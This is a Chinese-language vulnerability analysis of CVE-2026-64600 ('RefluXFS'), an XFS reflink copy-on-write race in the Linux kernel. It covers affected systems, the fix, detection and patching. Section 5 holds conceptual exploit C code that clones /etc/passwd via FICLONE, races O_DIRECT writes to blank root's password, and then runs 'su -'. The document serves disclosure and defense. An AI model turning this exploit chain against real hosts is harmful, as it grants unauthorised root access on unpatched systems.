0. TL;DR

字段 内容
CVE 编号 CVE-2026-64600
俗称 RefluXFS
漏洞类型 Race condition(竞态条件)
受影响组件 Linux kernel XFS reflink direct-I/O copy-on-write path
引入版本 kernel v4.11(2017 年)
披露方 Qualys Threat Research Unit (TRU)
披露日期 2026-07-22
利用前提 (1) kernel ≥ 4.11 未打补丁;(2) XFS filesystem 且 reflink=1;(3) 普通用户对同一 XFS 卷有可写目录,且可读一个 root-owned 目标文件
利用效果 任意本地用户 → host root,可修改 /etc/passwd 或 SUID-root 二进制
CVSS 7.8(High / Local)
影响规模估算 全球超过 1640 万台系统
现有缓解 无(SELinux、容器、KASLR/SMEP/SMAP、lockdown 均无效);唯一方案为打补丁并 reboot

XFS 自 kernel 4.9 起原生支持 reflink(reference-counted file extent sharing),即允许多个文件(或同一文件的多个 extent)共享同一物理磁盘块,仅在写入时才进行真正的复制——这就是所谓的 Copy-on-Write (CoW)。该特性由 XFS 的 reflink=1 superblock 标志位开启,而 RHEL 8/9/10、Oracle Linux、Rocky、AlmaLinux、Amazon Linux 2023、Fedora Server 31+ 的默认安装均使用带 reflink 的 XFS 作为根文件系统。

Reflink 的核心数据结构是 Reference Count Tree (refcount btree, AGF 中的 agf_refcount_blocks),它记录每个 shared extent 的引用计数。典型场景如下:

        Logical File Extent           Physical Disk Blocks
        (per-file mapping)            (shared via reflink)

  File A  [extent e_A]  ───────────►  Block @ P  (refcount=2)
                                          ▲
  File B  [extent e_B]  ───────────►     │
                                          │
  File C  [extent e_C]  ───────────►  Block @ Q  (refcount=1, private)

当任一文件对共享块执行写入时,XFS 不会直接覆盖物理块 P,而是执行一次 CoW:

  1. 分配一个新私有块 P';
  2. 将源数据复制到 P';
  3. 把写入文件的 extent mapping 重映射到 P';
  4. 对原共享块 P 的 refcount 减 1。

这一逻辑集中实现在 fs/xfs/libxfs/xfs_reflink.c 中,主要由 xfs_reflink_allocate_cow() / xfs_reflink_convert_cow() / xfs_reflink_cancel_cow() 等函数协同完成。RefluXFS 漏洞恰恰位于该路径中一段释放并重新获取 inode 锁(ILOCK)的窗口里。


2. 漏洞概览

RefluXFS 的本质是:在 XFS CoW 路径中,由于等待 transaction log space 而临时释放 ILOCK,期间另一个并发的 O_DIRECT writer 可以完成自己的 CoW 周期并把原共享块的 refcount 降到 1。第一个 writer 重新获取锁后,基于锁释放前缓存的 stale physical block address 检查 refcount,看到 1 便误判该块已经是私有块,于是跳过 CoW 直接写入——而这个"私有块"实际上是另一个 root-owned 文件仍然引用的原始共享块。

upstream patch 的提交信息对此有一句非常精确的描述:

"the mappings are stale as soon as we reacquire the ILOCK."

因为 O_DIRECT 绕过 kernel page cache 且缺乏 revalidation,这次误写会直接落盘,覆盖目标受保护文件的内容,且:

  • 文件 owner / mode / mtime / ctime / SUID 位均不变;
  • 不产生任何 kernel log;
  • 修改持久化,survives reboot;
  • 不触发任何 standard file metadata 校验。

这构成了一个"任意可读文件 → 任意磁盘块写入"的强原语,可以瞬间转化为 host root。


3. 受影响系统与前提条件

漏洞触发必须同时满足以下三个条件:

# 条件 说明
1 Kernel version ≥ 4.11 且未打 RefluXFS 补丁 漏洞自 2017 年起持续存在
2 XFS filesystem 且 superblock reflink=1 xfs_info <mnt> 应显示 reflink=1;RHEL 默认即满足
3 同一 XFS 卷上同时存在 (a) 高价值 root-owned 目标文件(可读,如 /usr/bin/su、/etc/passwd),(b) 普通用户可写目录 攻击者需在此目录创建 scratch file 并触发 reflink

3.1 已确认受影响发行版

发行版 版本
RHEL 8, 9, 10
CentOS Stream 8, 9, 10
Oracle Linux 8, 9, 10
Rocky Linux / AlmaLinux 8, 9, 10
CloudLinux 8, 9, 10
Amazon Linux 2023 及 2022 年 12 月之后的 AL2 AMI
Fedora Server 31+

Debian / Ubuntu / SUSE 默认不使用 XFS,但若管理员在安装时手动选择 XFS 且 reflink=1,同样受影响。

3.2 修复版本(部分)

厂商 Advisory QID
Red Hat RHSA-2026:39179 / 39494 / 41062 / 41063 / 41229 / 39984 / 40425 6052294 / 6052307 / 6052332 / 6052326 / 6053104 / 6052390 / 6053109
Red Hat kernel-rt RHSA-2026:39180 6052291
Oracle Linux ELSA-2026-39494 6600012
AlmaLinux ALSA-2026:39179 / 39494 / 39180 944816 / 944834 / 944802
Rocky Linux RLSA-2026:39179 / 39494 / 39180 963680 / 963688 / 963682
Fedora FEDORA-2026-085c9e92a4 289032
Qualys 通用检测 RefluXFS: Local Privilege Escalation via XFS reflink direct-I/O race 387841

4. 技术原理深度剖析

4.1 XFS CoW 的正常流程

一次针对 shared extent 的写入,其正常控制流大致如下(简化后的 C 伪代码):

/* fs/xfs/xfs_aops.c -> xfs_do_writepage / xfs_reflink.c, 概念化伪代码 */
int xfs_reflink_write_shared_extent(struct xfs_inode *ip,
                                    xfs_off_t offset, size_t len,
                                    const char __user *buf, int flags)
{
    struct xfs_bmbt_irec map;
    xfs_fileoff_t offset_fsb = XFS_B_TO_FSBT(ip->i_mount, offset);
    int error;

    /* 1. 取 ILOCK_EXCL,查 data fork 拿到当前 logical -> physical 映射 */
    xfs_ilock(ip, XFS_ILOCK_EXCL);
    error = xfs_bmapi_read(ip, offset_fsb, 1, &map, &NULLFSBLOCK, 0);
    if (error) goto out_unlock;

    /* 2. 若该 extent 的 refcount > 1,需要执行 CoW */
    if (map.br_state == XFS_EXT_UNWRITTEN ||
        xfs_reflink_get_block_refcount(ip->i_mount, map.br_startblock) > 1) {

        /* 3. 分配 CoW fork 的新私有块;若 log space 不足会临时释放 ILOCK */
        error = xfs_reflink_allocate_cow(ip, &map, ...);
        if (error == -ENOSPC_log) {
            /* ★★★ 漏洞点:内部已 drop & reacquire ILOCK ★★★ */
            ...
        }

        /* 4. 把数据写入 CoW fork 指向的新块 */
        xfs_reflink_convert_cow(ip, offset, len);
        write_to_new_block(map.br_startblock, buf, len);
    } else {
        /* 5. refcount == 1 视为私有块,直接写 */
        write_to_block(map.br_startblock, buf, len);
    }

out_unlock:
    xfs_iunlock(ip, XFS_ILOCK_EXCL);
    return error;
}

关键点在第 3 步:当 XFS 需要为 CoW 分配新块时,必须把该操作封装进一个 transaction。如果当前 transaction log 空间不足,XFS 会为了避免死锁而临时释放 ILOCK_EXCL,等待 log space 可用后再重新获取。

4.2 ILOCK 释放窗口与 stale mapping

释放 ILOCK 看似无伤大雅——毕竟重新获取锁后通常会重新检查状态。但 XFS 在这条路径上的实现犯了一个致命错误:重新获取 ILOCK 后,它继续使用锁释放前缓存下来的 map.br_startblock(即旧的 physical block address),而不是重新调用 xfs_bmapi_read() 校验映射是否仍然有效。

upstream patch 描述得很直白:

"the mappings are stale as soon as we reacquire the ILOCK."

下面这个 ASCII 时序图展示了两个并发 O_DIRECT writer 如何在这一窗口内引发灾难:

   Thread T1 (attacker, write #1)          Thread T2 (attacker, write #2)
   ─────────────────────────────────       ─────────────────────────────────
   [1] O_DIRECT write to shared extent
       target = scratch file (reflinked
                from /etc/passwd)

   [2] xfs_ilock(ILOCK_EXCL)  ✓

   [3] bmapi_read() -> map.br_startblock = P
       refcount(P) = 2  (shared by scratch + /etc/passwd)

   [4] xfs_reflink_allocate_cow()
       log space 不足...
       ★ xfs_iunlock(ILOCK_EXCL)  ★     <── 窗口打开

                                           [5] O_DIRECT write to 同一 extent
                                               xfs_ilock(ILOCK_EXCL)  ✓

                                           [6] bmapi_read() -> P, refcount=2
                                               allocate_cow() -> 分配 P'
                                               convert_cow()  -> scratch 的
                                                  extent 重映射到 P'
                                               refcount(P) -= 1  => refcount(P) = 1
                                               写入 P' 完毕
                                               xfs_iunlock(ILOCK_EXCL)  ✓

   [7] 重新获取 log space 成功
       ★ xfs_ilock(ILOCK_EXCL)  ★         <── 窗口关闭,但 map 已过期

   [8] ★ 未重新 bmapi_read() ★
       使用缓存的 map.br_startblock = P
       调 xfs_reflink_get_block_refcount(P)
       看到 refcount(P) == 1
       误判 P 已是私有块!

   [9] 跳过 CoW,直接对 P 执行 O_DIRECT write
       ★ 攻击者数据写入 P ★
       而 P 仍然是 /etc/passwd 的物理块!

   [10] 写入落盘(O_DIRECT 绕过 page cache)
        /etc/passwd 被篡改,root 行 x 字段清空
        → passwordless root

4.3 过期引用计数检查的代码路径

把上面时序图中第 [8]、[9] 步映射到 kernel 代码(概念化伪代码):

/* 漏洞代码路径(已简化,突出 stale mapping 问题) */
int xfs_reflink_allocate_cow(struct xfs_inode *ip,
                             struct xfs_bmbt_irec *imap,
                             bool *shared, bool convert)
{
    struct xfs_mount *mp = ip->i_mount;
    xfs_fsblock_t   old_startblock = imap->br_startblock;   /* ← 锁释放前缓存 */
    xfs_extlen_t    old_blockcount = imap->br_blockcount;
    int             error;

retry_alloc:
    error = xfs_trans_alloc(mp, &M_RES(mp)->tr_write, ..., &tp);
    if (error == -ENOSPC) {
        /* 必须先放弃 ILOCK 才能等待 log space, 否则死锁 */
        xfs_iunlock(ip, XFS_ILOCK_EXCL);
        error = xfs_trans_reserve_more(tp);    /* 阻塞等待 log space */
        xfs_ilock(ip, XFS_ILOCK_EXCL);

        /* ★★★ BUG: 未重新调用 xfs_bmapi_read() 刷新 imap ★★★ */
        /* ★★★ imap->br_startblock 仍然等于 old_startblock   ★★★ */
        goto retry_alloc;
    }

    /*
     * 此处检查 shared 状态。漏洞触发场景下:
     *   - imap->br_startblock 仍是旧的 P
     *   - 但 P 的 refcount 已被 T2 的 CoW 减到 1
     *   => xfs_reflink_check_shared() 返回 false
     *   => *shared = false
     *   => 调用者跳过 CoW, 直接写 P
     */
    *shared = xfs_reflink_check_shared(mp, imap->br_startblock,
                                       imap->br_blockcount);
    if (!*shared) {
        /* ★ 命中漏洞路径:把 attacker 数据写进 root-owned 块 P ★ */
        return 0;
    }

    /* 正常 CoW 路径:分配新块并 remap */
    ...
}

upstream 修复的核心思路正是在 goto retry_alloc; 之后、重新检查 shared 状态之前,重新执行 xfs_bmapi_read() 来刷新 imap,使后续 refcount 检查基于最新的 extent 映射。

4.4 为什么 O_DIRECT 是关键

漏洞利用要求两次写入都使用 O_DIRECT,原因有三:

  1. 绕过 page cache:O_DIRECT 通过 dio 路径直接与 block layer 交互,不经过 page cache,因此不会触发 page cache 一侧的额外 revalidation 逻辑(buffered write 路径里有更多一致性检查);
  2. 同步落盘:写入立即到达磁盘,攻击者数据持久化,重启后仍然有效;
  3. 路径更短、竞态更稳定:buffered write 会经过 writeback 机制,时序难以控制;而 O_DIRECT 路径是同步、可重复的,便于攻击者精确命中 race window。

4.5 整体利用链的抽象

把攻击者的视角抽象出来,RefluXFS 提供的是一个 "任意可读文件 → 任意磁盘块写入" 的原语:

   ┌──────────────────────────┐         ┌──────────────────────────┐
   │  Read-only target file   │  reflink │  Writable scratch file   │
   │  (e.g. /etc/passwd,      │◄────────►│  in user-writable dir    │
   │   /usr/bin/su, ...)      │  shared  │  (owned by attacker)     │
   │  owner: root             │  blocks  │  owner: attacker         │
   └──────────────────────────┘         └──────────────────────────┘
                  ▲                                   │
                  │                                   │
                  │      ┌──────────────────────┐     │
                  │      │ RefluXFS race window │◄────┘
                  │      │  (CVE-2026-64600)    │  O_DIRECT x2
                  │      └──────────────────────┘
                  │                  │
                  │                  ▼
                  │     ┌──────────────────────────────┐
                  └─────│  Stale mapping write         │
                        │  → attacker bytes land in    │
                        │    target's physical blocks  │
                        └──────────────────────────────┘
                                      │
                                      ▼
                        ┌──────────────────────────────┐
                        │  Target file content modified │
                        │  - metadata untouched         │
                        │  - no kernel log              │
                        │  - persists across reboot     │
                        └──────────────────────────────┘
                                      │
                                      ▼
                        ┌──────────────────────────────┐
                        │  root shell (via /etc/passwd  │
                        │  x-field clear, or via SUID   │
                        │  binary patch)                │
                        └──────────────────────────────┘

5. 漏洞利用流程(PoC 概念)

下面给出一个高度概念化的利用伪代码。仅用于说明原理,实际利用需要精确控制 timing、log space 压力与重试次数。

/* 1. 攻击者拥有一个普通用户账号 attacker, 工作目录 /home/attacker/scratch/
 * 2. 目标文件 /etc/passwd (root:root, 0644, world-readable)
 * 3. 在同一 XFS(reflink=1) 卷上:
 */

#include <fcntl.h>
#include <sys/ioctl.h>
#include <linux/fs.h>

int main(void) {
    int fd_passwd = open("/etc/passwd", O_RDONLY);          /* 读目标 */
    int fd_scratch = open("/home/attacker/scratch/clone",
                          O_RDWR | O_CREAT | O_TRUNC, 0644);

    /* 用 FICLONE ioctl 把 /etc/passwd reflink 到 scratch 文件
     * 现在 scratch 与 /etc/passwd 共享同一组物理块, refcount=2
     */
    if (ioctl(fd_scratch, FICLONE, fd_passwd) < 0) {
        perror("FICLONE");
        return 1;
    }
    return 0;
}

5.2 触发阶段:双线程 O_DIRECT 竞态

/* 概念化 PoC: 两个线程对 scratch 文件并发 O_DIRECT 写入同一 extent
 * 目的是把 T1 卡在"释放 ILOCK 等待 log space"的窗口里,
 * 让 T2 完成 CoW 把 refcount 降到 1, 然后 T1 用 stale mapping 直写。
 */

#define BUF_SIZE 4096
#define TARGET_OFFSET 0   /* /etc/passwd 第一行的物理块 */

static int fd_scratch;    /* 全局: 已 reflink 自 /etc/passwd */

/* T1: 主写入线程, 期望命中 race window */
void *writer_t1(void *arg) {
    void *buf;
    posix_memalign(&buf, BUF_SIZE, BUF_SIZE);
    /* 构造一行伪造的 passwd: root::0:0:root:/root:/bin/bash (清空 x 字段) */
    memcpy(buf, "root::0:0:root:/root:/bin/bash\n", 31);

    /* O_DIRECT, 写到 scratch 文件, 但通过漏洞最终落在 /etc/passwd */
    pwrite(fd_scratch, buf, BUF_SIZE, TARGET_OFFSET);
    free(buf);
    return NULL;
}

/* T2: 竞态配合线程, 尽快完成 CoW, 把 P 的 refcount 从 2 降到 1 */
void *writer_t2(void *arg) {
    void *buf;
    posix_memalign(&buf, BUF_SIZE, BUF_SIZE);
    memset(buf, 'A', BUF_SIZE);

    /* 对同一 offset 并发 O_DIRECT 写, 触发 XFS CoW remap */
    for (int i = 0; i < 64; i++) {
        pwrite(fd_scratch, buf, BUF_SIZE, TARGET_OFFSET);
    }
    free(buf);
    return NULL;
}

int main(void) {
    fd_scratch = open("/home/attacker/scratch/clone", O_RDWR | O_DIRECT);

    /* 同时通过 fallocate / 大量并发事务制造 log space 压力,
     * 提高 T1 进入"等待 log space"分支的概率 */
    exhaust_log_space_background();

    for (int round = 0; round < 4096; round++) {
        /* 重新建立 reflink (前一回合可能已 CoW 出新块) */
        reflink_from_passwd(fd_scratch);

        pthread_t t1, t2;
        pthread_create(&t1, NULL, writer_t1, NULL);
        pthread_create(&t2, NULL, writer_t2, NULL);
        pthread_join(t1, NULL);
        pthread_join(t2, NULL);

        /* 检查 /etc/passwd 是否已被改写 */
        if (passwd_root_password_cleared()) {
            printf("[+] race won at round %d\n", round);
            break;
        }
    }
    return 0;
}

5.3 收尾阶段:拿到 root

一旦 /etc/passwd 中 root 行的密码字段(第二列 x)被清空为空字符串:

$ su -
# 直接进入 root shell, 无需密码

或者,攻击者也可以选择覆盖某个 SUID-root 二进制(如 /usr/bin/passwd、/usr/bin/chfn)的代码段,植入 shellcode,下次该 binary 被 root 执行时获得 root。Qualys 的官方 PoC 演示的就是在默认 RHEL 10.2 上数秒内完成 /etc/passwd 改写、su - 直入 root 的全过程。


6. 为什么现有缓解措施全部失效

RefluXFS 的可怕之处在于它"住"在 filesystem allocation layer——这一层在几乎所有传统防御之下。下表汇总了主流内核加固机制面对此漏洞时的状态:

缓解机制 作用层级 对 RefluXFS 是否有效 原因
KASLR kernel text/data 地址随机化 无效 漏洞不依赖任何内核地址泄露
SMEP 禁止 ring0 执行用户态代码 无效 漏洞不执行用户态代码,纯数据写
SMAP 禁止 ring0 访问用户态内存 无效 同上
Kernel Lockdown 限制 /dev/mem、kexec、BPF 等 无效 不限制 unprivileged 用户的 O_DIRECT 与 FICLONE
SELinux (Enforcing) MAC 策略 无效 测试中不阻断受影响代码路径;用户对 scratch 文件有 rw 权限,对 target 有 r 权限即满足策略
seccomp 系统调用过滤 无效 只要 profile 允许 write 与 ioctl(普通 profile 都允许),即可触发
User namespace 限制 容器隔离 无效 漏洞通过普通 filesystem 分配路径触发,不涉及 namespace
Container capability 限制 capability bounding set 无效 写入通过普通 O_DIRECT 完成,不需要任何 capability
Hardened allocator SLUB/SLAB 加固 无效 不涉及 slab 分配,是磁盘块分配层
IMA/EVM 文件完整性度量 部分有效(仅检测) 可能在下次 appraisal 时发现 hash 不一致,但无法阻止篡改
Audit / auditd 系统调用审计 仅事后取证 不会产生 kernel log,audit 可记录 pwrite 但无法判定是否越权

结论:当前没有任何可靠的"非打补丁"缓解。SELinux、容器边界、内存保护、甚至主动威胁监控都失效,因为漏洞运行在 filesystem allocation layer——一个低于所有上述防御的层级。唯一可靠方案是应用厂商安全更新并完整 reboot。


7. 漏洞代码路径与修复

7.1 完整调用链

  用户态: pwrite(scratch_fd, buf, len, off)  with O_DIRECT
     │
     ▼
  vfs_write / vfs_iter_write
     │
     ▼
  xfs_file_dio_write()                [fs/xfs/xfs_file.c]
     │
     ▼
  xfs_file_dio_aio_write()
     │
     ▼
  iomap_dio_rw()                      [fs/iomap/direct-io.c]
     │
     ▼
  xfs_direct_write_iomap_begin()      [fs/xfs/xfs_iomap.c]
     │
     ▼
  xfs_reflink_allocate_cow()          [fs/xfs/libxfs/xfs_reflink.c]   ★漏洞所在★
     │
     ├─ xfs_trans_alloc()
     │     │
     │     └─ (若 log space 不足)
     │          xfs_iunlock(ILOCK_EXCL)          ← 释放锁
     │          xfs_trans_reserve_more()         ← 等待
     │          xfs_ilock(ILOCK_EXCL)            ← 重新获取
     │          /* BUG: 此处未刷新 imap */
     │
     ├─ xfs_reflink_check_shared()   ← 基于 stale startblock 检查 refcount
     │
     └─ (若 *shared == false) 直接返回, 调用者写入原始块 P

7.2 upstream 修复

修复补丁的核心是在 xfs_reflink_allocate_cow() 中,重新获取 ILOCK 之后、进行任何 refcount 判断之前,重新调用 xfs_bmapi_read() 来刷新 imap:

/* 修复后的概念化伪代码 */
retry_alloc:
    error = xfs_trans_alloc(mp, &M_RES(mp)->tr_write, ..., &tp);
    if (error == -ENOSPC) {
        xfs_iunlock(ip, XFS_ILOCK_EXCL);
        error = xfs_trans_reserve_more(tp);
        xfs_ilock(ip, XFS_ILOCK_EXCL);

        /* ★★★ FIX: 重新读取 extent 映射, 丢弃 stale imap ★★★ */
        error = xfs_bmapi_read(ip, imap->br_startoff,
                               imap->br_blockcount,
                               imap, &dummy, 0);
        if (error)
            goto out_trans_cancel;

        /* 如果映射已变(如已被 T2 remap 到 P'),则 imap 现在指向新块,
         * 后续 refcount 检查将正确判断 shared 状态, 触发正常 CoW */
        goto retry_alloc;
    }
    ...

修复后,时序图中第 [8] 步会看到 imap->br_startblock == P'(新私有块),refcount 检查正确返回 shared=false,但此时写入的目标已经是 scratch 文件自己的 CoW 块,不再误伤 /etc/passwd 的物理块。

7.3 修复版本对应表

发行版 修复 advisory 建议动作
RHEL 8 / 9 / 10 RHSA-2026:39179 / 39494 / 41062 / 41063 / 41229 / 39984 / 40425 dnf update kernel && reboot
RHEL kernel-rt RHSA-2026:39180 同上
Oracle Linux 8/9/10 ELSA-2026-39494 同上
AlmaLinux ALSA-2026:39179 / 39494 / 39180 同上
Rocky Linux RLSA-2026:39179 / 39494 / 39180 同上
Fedora 31+ FEDORA-2026-085c9e92a4 dnf upgrade kernel && reboot
Amazon Linux 2023 / AL2 对应 ALAS 通告 yum update kernel && reboot

8. 检测与运维建议

8.1 自检脚本

管理员可以用以下命令快速判断系统是否处于受影响配置:

#!/bin/bash
# refluxfs-check.sh - 粗略自检
echo "== Kernel version =="
uname -r

echo "== XFS filesystems with reflink =="
findmnt -t xfs -o TARGET,SOURCE | while read mnt src; do
    if [ -b "$src" ] || [ "$src" = "rootfs" ]; then
        # 对挂载点所在设备调用 xfs_info
        dev=$(findmnt -n -o SOURCE "$mnt")
        xfs_info "$mnt" 2>/dev/null | grep -E "reflink|crc=" \
            | sed "s/^/[$mnt] /"
    fi
done

echo "== 可疑线索: 近期 /etc/passwd 的 mtime =="
stat -c '%y  %n' /etc/passwd /etc/shadow 2>/dev/null

echo "== 检查是否已安装修复 =="
rpm -q --changelog kernel-$(uname -r) 2>/dev/null \
    | grep -iE "refluxfs|CVE-2026-64600|reflink.*race" | head

注意:RefluXFS 不修改 mtime,因此 stat 看到 mtime 未变不能作为系统未受攻击的证据。该脚本仅用于配置自检。

8.2 检测与取证

由于漏洞不留 kernel log,传统的 dmesg / journalctl 几乎无迹可寻。可行的检测方向包括:

  • IMA/EVM appraisal:在 enforcing 模式下,篡改后的文件会在下次访问时被拒绝(但仍无法阻止篡改本身);
  • AIDE / Tripwire:基于哈希的文件完整性监控可发现 /etc/passwd、SUID binary 等关键文件内容变化——前提是基线在攻击前已建立;
  • auditd 规则:对 FICLONE ioctl 与高频 O_DIRECT 写入到 scratch 目录建立审计规则,可作为行为侧的早期信号,但噪声较大;
  • 块层异常监控:对受保护文件 backing block 的写流量异常进行监控(需要 eBPF 或 block trace 支持)。

8.3 运维优先级

Qualys 将此漏洞评为 emergency priority,建议的运维顺序:

  1. 多租户 / 互联网暴露主机优先打补丁:共享主机上的任意本地用户即可利用,风险最高;
  2. 完整 reboot:kernel patch 必须通过 reboot 加载才生效,live-patch 在此场景不可靠;
  3. 审计关键文件:打补丁前后对 /etc/passwd、/etc/shadow、/usr/bin/su、/usr/bin/passwd、/usr/bin/sudo 等做哈希比对;
  4. 检查账户:排查是否存在异常的无密码 root 行或新增 UID 0 账户;
  5. 临时缓解(仅作辅助,不能替代补丁):对关键文件所在目录禁用普通用户写权限,或将关键系统目录迁移到不带 reflink 的 XFS 卷——但这通常在默认安装上难以实施。

9. 同类漏洞谱系:从 Dirty Pipe 到 RefluXFS

RefluXFS 并非孤例。2026 年上半年,Linux 内核连续爆出一系列"诱导内核把攻击者数据写入受保护内存或磁盘块"的漏洞,构成了一个清晰的 bug class 谱系:

漏洞名 CVE 披露日期 受影响组件 核心技术
Copy Fail CVE-2026-31431 2026-04-29 algif_aead (AF_ALG crypto API) 逻辑缺陷让 AF_ALG socket + splice() 写 4 字节受控数据进 page cache
Dirty Frag CVE-2026-43284 / CVE-2026-43500 2026-05-07 xfrm/IPsec ESP + RxRPC 串联两个 page-cache 写漏洞,明确延续 Dirty Pipe / Copy Fail 的 bug class
DirtyClone CVE-2026-43503 2026-06-25 *_pskb_copy_fclone() 包克隆 丢失安全标志,克隆的网络包可覆盖 file-backed page cache;属 DirtyFrag 家族
RefluXFS CVE-2026-64600 2026-07-22 XFS reflink CoW 路径 并发 O_DIRECT 写引发 stale refcount 检查,直接落盘覆盖受保护块

这一谱系的共同特征是:绕过权限模型,直接在内核数据结构层面让攻击者数据落到不该落的地方。它们的根因往往是某个被忽视的"释放并重新获取锁"窗口、一次未刷新的缓存、或一个被错误信任的中间状态——与经典的 Dirty COW(CVE-2016-5195)一脉相承。RefluXFS 把这一思路从 page cache 推到了 磁盘块层,并由于 O_DIRECT 的特性,使篡改跨重启持久化、且对元数据完全透明。


10. 研究方法论补充:AI 加速 + 人工验证

值得一提的是,RefluXFS 的发现过程本身具有方法论上的标志性意义。Qualys TRU 在 Anthropic 的 Project Glasswing 框架下,将 Claude Mythos Preview 模型集成进人工审计工作流:

  1. 研究人员引导模型"在 Linux 内核中寻找 Dirty COW 风格的 race condition";
  2. 通过迭代式 prompt 收窄到 core memory-management 与 filesystem 目录;
  3. 模型在若干轮后定位到 XFS 中的可疑路径,并生成了一个功能性 PoC;
  4. Qualys 安全研究员随后接管:审查模型推理、独立复现 PoC、逐条验证技术声明;
  5. 模型还起草了 advisory 初稿,由人工对照实测结果修订。

这一过程的关键并非"AI 能自动产出 exploit",而是"在严格的人类监督下,AI 显著压缩了从大规模内核源码到候选漏洞的时间窗口"。RefluXFS 的价值在于:方向,而非能力——前沿模型早已具备,但只有与专家判断结合时,才能把这种能力转化为对防御方有利的、负责任的披露。


11. 结论

RefluXFS(CVE-2026-64600)是一个教科书级别的"小窗口、大灾难"内核漏洞:

  • 它存在了九年(自 kernel v4.11, 2017 年);
  • 它在默认安装的 RHEL 及其衍生版上即可触发;
  • 它在 SELinux Enforcing、KASLR、SMEP、SMAP、kernel lockdown、容器隔离全部开启时仍然有效;
  • 它不留 kernel log、跨重启持久化、不改变文件元数据;
  • 它把"任意本地用户"直接转化为"host root"。

从根因看,它再次印证了一条古老的内核工程经验:任何"释放并重新获取锁"的窗口都必须重新校验所有从锁内带出的状态——尤其在 XFS 这样复杂的、跨 data fork / CoW fork / refcount btree 的多层映射体系里,一个未刷新的 br_startblock 足以让整个权限模型失效。

从防御看,它提醒我们:filesystem allocation layer 是一个长期被忽视的攻击面,传统的内存保护、MAC、容器隔离都无法触及;IMA/EVM、AIDE 这类基于哈希的完整性度量在此类漏洞面前只能"事后报警",无法"事前阻断"。唯一的可靠缓解是立即应用厂商安全更新并完整 reboot。

从研究方法论看,RefluXFS 的发现过程为"AI 加速 + 人工验证"的负责任安全研究范式提供了一个高价值的样本——它不是关于 AI 能做什么,而是关于在专家判断的引导下,AI 能多快地把一个潜伏九年的严重缺陷送到防御者手中。

对于运维与安全团队,建议的优先级排序非常明确:

  1. 立即在所有受影响主机(尤其是多租户、互联网暴露、共享开发环境)上应用厂商 kernel 安全更新;
  2. 完整 reboot 以确保新 kernel 生效;
  3. 对 /etc/passwd、/etc/shadow、关键 SUID-root binary 做哈希基线比对;
  4. 排查异常 UID 0 账户与无密码 root 行;
  5. 将 XFS reflink 路径纳入长期威胁模型,关注后续是否出现同族变体。

RefluXFS 不是终点,而是 2026 年 Linux 内核"诱导内核写入受保护资源"漏洞谱系中的最新一环。理解它、修复它、并从它身上提炼出工程教训,比单纯打补丁更重要。


参考资料

免责声明:本文所有技术细节均基于公开披露资料整理,伪代码仅用于原理说明,不构成可工作的 exploit。请勿将本文内容用于非授权的系统测试。